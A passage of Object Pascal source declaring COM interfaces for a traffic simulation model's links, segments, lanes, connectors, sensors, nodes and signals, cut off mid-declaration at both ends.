method Get_SignalaIndex(
iDnsLink: Int16;
out pVal: Int16
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Value(
const fldName: OleString;
out pVal: VARIANT
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Set_Value(
const fldName: OleString;
pVal: VARIANT
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_SignedID(
out pVal: Integer
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_IsTwoWay(
out pVal: VARIANT_BOOL
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_IsAB(
out pVal: VARIANT_BOOL
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_IsBA(
out pVal: VARIANT_BOOL
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_SuperLinkID(
out pVal: Integer
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Set_SuperLinkID(
pVal: Integer
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_SuperLink(
out pVal: ITsmLink
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_SpillbackQueue(
out pVal: Integer
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_FlowRate(
iDnsLink: Int16;
out pVal: Single
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method UpdateTurnMovements(
volumes: VARIANT;
const pOptions: ITsmAttributes
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_UpstreamLinkCount(
out pVal: Int16
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_UpstreamLink(
iUpsLink: Int16;
out pVal: ITsmLink
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_ApproachingLinkCount(
out pVal: Int16
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_DownstreamLinkCount(
out pVal: Int16
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_ApproachingLink(
iUpsLink: Int16;
out pVal: ITsmLink
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_DownstreamLink(
jDnsLink: Int16;
out pVal: ITsmLink
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_UpstreamMovementCount(
out pVal: Int16
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_DownstreamMovementCount(
out pVal: Int16
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_ReverseLink(
const Position: OleString;
out pVal: ITsmLink
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_DownstreamLinkByTurn(
const Turn: OleString;
out pVal: ITsmLink
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_ApproachLinkByTurn(
const Turn: OleString;
out pVal: ITsmLink
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method GetDetectorsForMovements(
mvts: VARIANT; fHeadway: Single;
const pOptions: ITsmAttributes;
out pVal: VARIANT
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method GetHistoricalTravelTime(
dTime: Double;
out pVal: Single
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method GetUpdatedTravelTime(
dTime: Double;
out pVal: Single
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method ShortestPath(
const pSettings: ITsmAttributes;
var pDes: STsmLocation;
out pTime: Single;
out pCost: Single;
out pVal: VARIANT
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Enable(
bEnable: VARIANT_BOOL
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Disable(
bDisable: VARIANT_BOOL
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Enabled(
out pEnabled: VARIANT_BOOL
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Set_Enabled(
pEnabled: VARIANT_BOOL
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Disabled(
out pDisabled: VARIANT_BOOL
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Set_Disabled(
pDisabled: VARIANT_BOOL
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_SignalTurnType(
iTurn: Int16;
out pVal: TsmTurn
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_TurnSignalCount(
out pVal: Int16
): HRESULT;
end;
[COM, Guid('{C9949A42-BC30-4713-B072-8596AE67DF10}')]
ITsmCollection = public interface(IDispatch)
[CallingConvention(CallingConvention.Stdcall)]
method Get__NewEnum(
out pVal: IUnknown
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Count(
out pVal: Integer
): HRESULT;
end;
[COM, Guid('{758CEC73-08EB-4907-B941-F115EF3F93AB}')]
ITsmSegments = public interface(ITsmCollection)
[CallingConvention(CallingConvention.Stdcall)]
method Get_Item(
aIndex: Integer;
out pVal: ITsmSegment
): HRESULT;
end;
[COM, Guid('{51F0EA1F-7645-470D-AA1B-B442FAE9FD8E}')]
ITsmSegment = public interface(ITsmObject)
[CallingConvention(CallingConvention.Stdcall)]
method Get_Fidelity(
out pVal: TsmFidelity
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Opposite(
out pVal: ITsmSegment
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Upstream(
out pVal: ITsmSegment
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Downstream(
out pVal: ITsmSegment
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Link(
out pVal: ITsmLink
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Length(
out pVal: Single
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Grade(
out pVal: Single
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Set_Grade(
pVal: Single
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Curvature(
out pVal: Single
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Set_Curvature(
pVal: Single
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_FreeFlowSpeed(
out pVal: Single
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_SpeedLimit(
out pVal: Single
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Direction(
out pVal: TsmDirection
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Angle(
fPosition: Single;
out pVal: Double
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Width(
fPosition: Single;
out pVal: Single
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_LeftCoord(
fPosition: Single;
out pVal: STsmCoord3
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_CenterCoord(
fPosition: Single;
out pVal: STsmCoord3
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_RightCoord(
fPosition: Single;
out pVal: STsmCoord3
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_OffsetCoord(
fPosition: Single;
fOffset: Single;
out pVal: STsmCoord3
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Elevation(
fPosition: Single;
out pVal: Double
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_LaneCount(
out pVal: Int16
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_ReversibleLaneCount(
out pVal: Int16
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Lanes(
out pVal: ITsmLanes
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Lane(
iPosition: Int16;
out pVal: ITsmLane
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_LeftLane(
out pVal: ITsmLane
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_RightLane(
out pVal: ITsmLane
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_SensorStations(
out pVal: ITsmSensorStations
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Value(
const fldName: OleString;
out pVal: VARIANT
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Set_Value(
const fldName: OleString;
pVal: VARIANT
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_SignedID(
out pVal: Integer
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_IsTwoWay(
out pVal: VARIANT_BOOL
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_IsAB(
out pVal: VARIANT_BOOL
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_IsBA(
out pVal: VARIANT_BOOL
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Flow(
out pVal: Integer
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Density(
out pVal: Single
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Speed(
out pVal: Single
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Congestion(
out pVal: Single
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_FirstVehicle(
out pVal: ITsmVehicle
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_LastVehicle(
out pVal: ITsmVehicle
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Vehicles(
out pVal: ITsmVehicles
): HRESULT;
end;
[COM, Guid('{BAC1C49F-0218-48A3-9BCC-026E2F20A67B}')]
ITsmLanes = public interface(ITsmCollection)
[CallingConvention(CallingConvention.Stdcall)]
method Get_Item(
aIndex: Integer;
out pVal: ITsmLane
): HRESULT;
end;
[COM, Guid('{81AF5B60-3800-4290-B51C-BE15FB2515E1}')]
ITsmLane = public interface(ITsmObject)
[CallingConvention(CallingConvention.Stdcall)]
method Get_Link(
out pVal: ITsmLink
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Segment(
out pVal: ITsmSegment
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_UpstreamConnectorCount(
out pVal: Int16
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_DownstreamConnectorCount(
out pVal: Int16
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_UpstreamConnector(
iPosition: Int16;
out pVal: ITsmConnector
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_DownstreamConnector(
iPosition: Int16;
out pVal: ITsmConnector
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Left(
out pVal: ITsmLane
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Right(
out pVal: ITsmLane
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Reverse(
out pVal: ITsmLane
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Position(
out pVal: Int16
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Turns(
out pVal: Int16
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_LeftCoord(
fPosition: Single;
out pVal: STsmCoord3
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_CenterCoord(
fPosition: Single;
out pVal: STsmCoord3
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_RightCoord(
fPosition: Single;
out pVal: STsmCoord3
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Width(
fPosition: Single;
out pVal: Single
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_MinimumWidth(
out pVal: Single
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_ParkingSpaces(
out pVal: Int16
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_FreeParkingSpaces(
out pVal: Int16
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_FirstFreeParkingSpace(
out pVal: Int16
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_LastFreeParkingSpace(
out pVal: Int16
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_ParkingSpaceAt(
fDistance: Single;
out pVal: Int16
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_IsParkingSpaceFree(
iSpace: Int16;
out pVal: VARIANT_BOOL
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method GetParkedVehicle(
iSpace: Int16;
out pVal: ITsmVehicle
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method DepartParkedVehicle(
iSpace: Int16;
var pDes: STsmLocation;
idPath: Integer
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_LaneGroup(
out pVal: Int16
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Reversible(
out pVal: TsmReversible
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Side(
out pVal: TsmSide
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Auxiliary(
out pVal: TsmAuxiliary
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Merged(
out pVal: VARIANT_BOOL
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Merging(
out pVal: VARIANT_BOOL
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Pivot(
out pVal: TsmSide
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Exit(
out pVal: VARIANT_BOOL
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Dropped(
out pVal: VARIANT_BOOL
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Parking(
out pVal: VARIANT_BOOL
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Passing(
out pVal: VARIANT_BOOL
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Shoulder(
out pVal: VARIANT_BOOL
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_ETC(
out pVal: VARIANT_BOOL
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_HOV(
out pVal: TsmHOV
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Transit(
out pVal: TsmAccess
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Truck(
out pVal: TsmAccess
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_UserA(
out pVal: TsmAccess
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_UserB(
out pVal: TsmAccess
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_HOT(
out pVal: VARIANT_BOOL
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Bicycle(
out pVal: TsmAccess
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_AutomationLevel(
out pVal: TsmVALevel
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Set_AutomationLevel(
pVal: TsmVALevel
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Density(
out pVal: Single
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Speed(
out pVal: Single
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_LaneChange(
out pVal: TsmSide
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Set_LaneChange(
pVal: TsmSide
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Barrier(
out pVal: TsmSide
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Set_Barrier(
pVal: TsmSide
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Value(
const fldName: OleString;
out pVal: VARIANT
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Set_Value(
const fldName: OleString;
pVal: VARIANT
): HRESULT;
end;
[COM, Guid('{D3A0E4C9-5D65-404D-B7C2-0B25D48B08E3}')]
ITsmConnector = public interface(ITsmObject)
[CallingConvention(CallingConvention.Stdcall)]
method Get_UpstreamLane(
out pVal: ITsmLane
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_DownstreamLane(
out pVal: ITsmLane
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Direction(
out pVal: TsmDirection
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Turn(
out pVal: TsmTurn
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Length(
out pVal: Single
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_DistanceToStopBar(
out pVal: Single
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_DistanceToYieldPoint(
out pVal: Single
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Angle(
fPosition: Single;
out pVal: Double
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Coord(
fPosition: Single;
out pVal: STsmCoord3
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Intersection(
idConnector: Integer;
out pDistance: Single;
out pVal: Single
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Conflicts(
out pVal: Int16
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_YieldTos(
out pVal: Int16
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_YieldBys(
out pVal: Int16
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Value(
const fldName: OleString;
out pVal: VARIANT
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Set_Value(
const fldName: OleString;
pVal: VARIANT
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_ConnectivityBias(
out pVal: Single
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Set_ConnectivityBias(
pVal: Single
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Left(
iType: TsmConnectorType;
out pVal: ITsmConnectors
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Right(
iType: TsmConnectorType;
out pVal: ITsmConnectors
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method IsLine(
out pVal: VARIANT_BOOL
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_ArcLength(
out pVal: Single
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_DistanceBeforeArc(
out pVal: Single
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_DistanceAfterArc(
out pVal: Single
): HRESULT;
end;
[COM, Guid('{C4A1CECC-E566-482B-B427-A114A4FA69BD}')]
ITsmConnectors = public interface(ITsmCollection)
[CallingConvention(CallingConvention.Stdcall)]
method Get_Item(
aIndex: Integer;
out pVal: ITsmConnector
): HRESULT;
end;
[COM, Guid('{A7602159-378B-46DD-920F-189048B45AC5}')]
ITsmSensorStations = public interface(ITsmCollection)
[CallingConvention(CallingConvention.Stdcall)]
method Get_Item(
aIndex: Integer;
out pVal: ITsmSensorStation
): HRESULT;
end;
[COM, Guid('{92FFCB56-F9F4-4DC3-B0EF-64A109278820}')]
ITsmSensorStation = public interface(ITsmObject)
[CallingConvention(CallingConvention.Stdcall)]
method Get_Segment(
out pVal: ITsmSegment
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_SensorCount(
out pVal: Int16
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_LaneCount(
out pVal: Int16
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Direction(
out pVal: TsmDirection
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Distance(
out pVal: Single
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Detection(
out pVal: TsmDetectionType
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Operation(
out pVal: Int16
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_IsTypePoint(
out pVal: VARIANT_BOOL
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_IsTypeVRC(
out pVal: VARIANT_BOOL
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_IsTypeArea(
out pVal: VARIANT_BOOL
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_IsLinkWide(
out pVal: VARIANT_BOOL
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_IsOnConnector(
out pVal: VARIANT_BOOL
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Length(
out pVal: Single
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Sensors(
out pVal: ITsmSensors
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Flow(
out pVal: Integer
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Count(
out pVal: Integer
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Speed(
out pVal: Single
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Occupancy(
out pVal: Single
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Headway(
out pVal: Single
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_TotalCount(
out pVal: Integer
): HRESULT;
end;
[COM, Guid('{75E00364-FD5A-4633-A6CF-AB18E5061867}')]
ITsmSensors = public interface(ITsmCollection)
[CallingConvention(CallingConvention.Stdcall)]
method Get_Item(
aIndex: Integer;
out pVal: ITsmSensor
): HRESULT;
end;
[COM, Guid('{64BACF71-2686-404F-B379-F4CA81F270B7}')]
ITsmSensor = public interface(ITsmObject)
[CallingConvention(CallingConvention.Stdcall)]
method Get_Station(
out pVal: ITsmSensorStation
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_StationID(
out pVal: Integer
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Lane(
out pVal: ITsmLane
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Connector(
out pVal: ITsmConnector
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Segment(
out pVal: ITsmSegment
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_LaneCount(
out pVal: Int16
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Direction(
out pVal: TsmDirection
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Turns(
out pVal: Int16
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Distance(
out pVal: Single
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Coord(
out pVal: STsmCoord3
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Detection(
out pVal: TsmDetectionType
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Operation(
out pVal: Int16
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_IsTypePoint(
out pVal: Int16
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_IsTypeVRC(
out pVal: Int16
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_IsTypeArea(
out pVal: Int16
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_IsLinkWide(
out pVal: Int16
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Length(
out pVal: Single
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Value(
const fldName: OleString;
out pVal: VARIANT
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Set_Value(
const fldName: OleString;
pVal: VARIANT
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_IsNotifyingEvents(
out pVal: VARIANT_BOOL
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Set_IsNotifyingEvents(
pVal: VARIANT_BOOL
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Reset: HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Flow(
out pVal: Integer
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Count(
out pVal: Integer
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Speed(
out pVal: Single
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Occupancy(
out pVal: Single
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Headway(
out pVal: Single
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_TotalCount(
out pVal: Integer
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_LastActuationTime(
out pVal: Double
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_IsActivated(
out pVal: VARIANT_BOOL
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Set_IsActivated(
pVal: VARIANT_BOOL
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_IsOccupied(
out pVal: VARIANT_BOOL
): HRESULT;
end;
[COM, Guid('{62525380-FD3B-4E39-BA2E-334CD9828194}')]
ITsmVehicles = public interface(IDispatch)
[CallingConvention(CallingConvention.Stdcall)]
method Get__NewEnum(
out pVal: IUnknown
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Item(
aIndex: Integer;
out pVal: ITsmVehicle
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Count(
out pVal: Integer
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method GetAt(
aIndex: Integer;
out pVal: ITsmVehicle
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method GetVehicle(
vid: Integer;
out pVal: ITsmVehicle
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Update: HRESULT;
end;
[COM, Guid('{F4AA34C9-0DA6-47DD-9E9F-C1BA14F30C59}')]
ITsmNode = public interface(ITsmObject)
[CallingConvention(CallingConvention.Stdcall)]
method Get_Fidelity(
out pVal: TsmFidelity
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_UpstreamLinkCount(
out pVal: Int16
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_DownstreamLinkCount(
out pVal: Int16
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_UpstreamLink(
iUpsLink: Int16;
out pVal: ITsmLink
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_DownstreamLink(
jDnsLink: Int16;
out pVal: ITsmLink
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_UpstreamConnections(
jUpsLink: Int16;
iDnsLink: Int16;
out pVal: UInt32
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_DownstreamConnections(
iUpsLink: Int16;
jDnsLink: Int16;
out pVal: UInt32
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_ConnectorCount(
iUpsLink: Int16;
jDnsLink: Int16;
out pVal: Int16
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Connectors(
iUpsLink: Int16;
jDnsLink: Int16;
out pVal: ITsmConnectors
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Signals(
out pVal: ITsmSignals
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Elevation(
const flag: OleString;
out pVal: Double
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Radius(
out pVal: Single
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Value(
const fldName: OleString;
out pVal: VARIANT
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Set_Value(
const fldName: OleString;
pVal: VARIANT
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_LinkByApproach(
approach: TsmDirection;
out pVal: ITsmLink
): HRESULT;
end;
[COM, Guid('{F87CE8DD-D4A5-447D-A827-80255E8D70F8}')]
ITsmSignals = public interface(ITsmCollection)
[CallingConvention(CallingConvention.Stdcall)]
method Get_Item(
aIndex: Integer;
out pVal: ITsmSignal
): HRESULT;
end;
[COM, Guid('{A5345C5C-9C50-4A28-BC55-0A3001E6789D}')]
ITsmSignal = public interface(ITsmObject)
[CallingConvention(CallingConvention.Stdcall)]
method Get_StationID(
out pVal: Integer
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Lane(
out pVal: ITsmLane
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Connector(
out pVal: ITsmConnector
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Segment(
out pVal: ITsmSegment
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Link(
out pVal: ITsmLink
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Node(
out pVal: ITsmNode
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Distance(
out pVal: Single
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Coord(
out pVal: STsmCoord3
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_type_(
out pVal: OleString
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_VehicleTypes(
out pVal: ITsmAttributes
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Set_VehicleTypes(
const pVal: ITsmAttributes
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Value(
const fldName: OleString;
out pVal: VARIANT
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Set_Value(
const fldName: OleString;
pVal: VARIANT
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_IsNotifyingEvents(
out pVal: VARIANT_BOOL
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Set_IsNotifyingEvents(
pVal: VARIANT_BOOL
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Scripted(
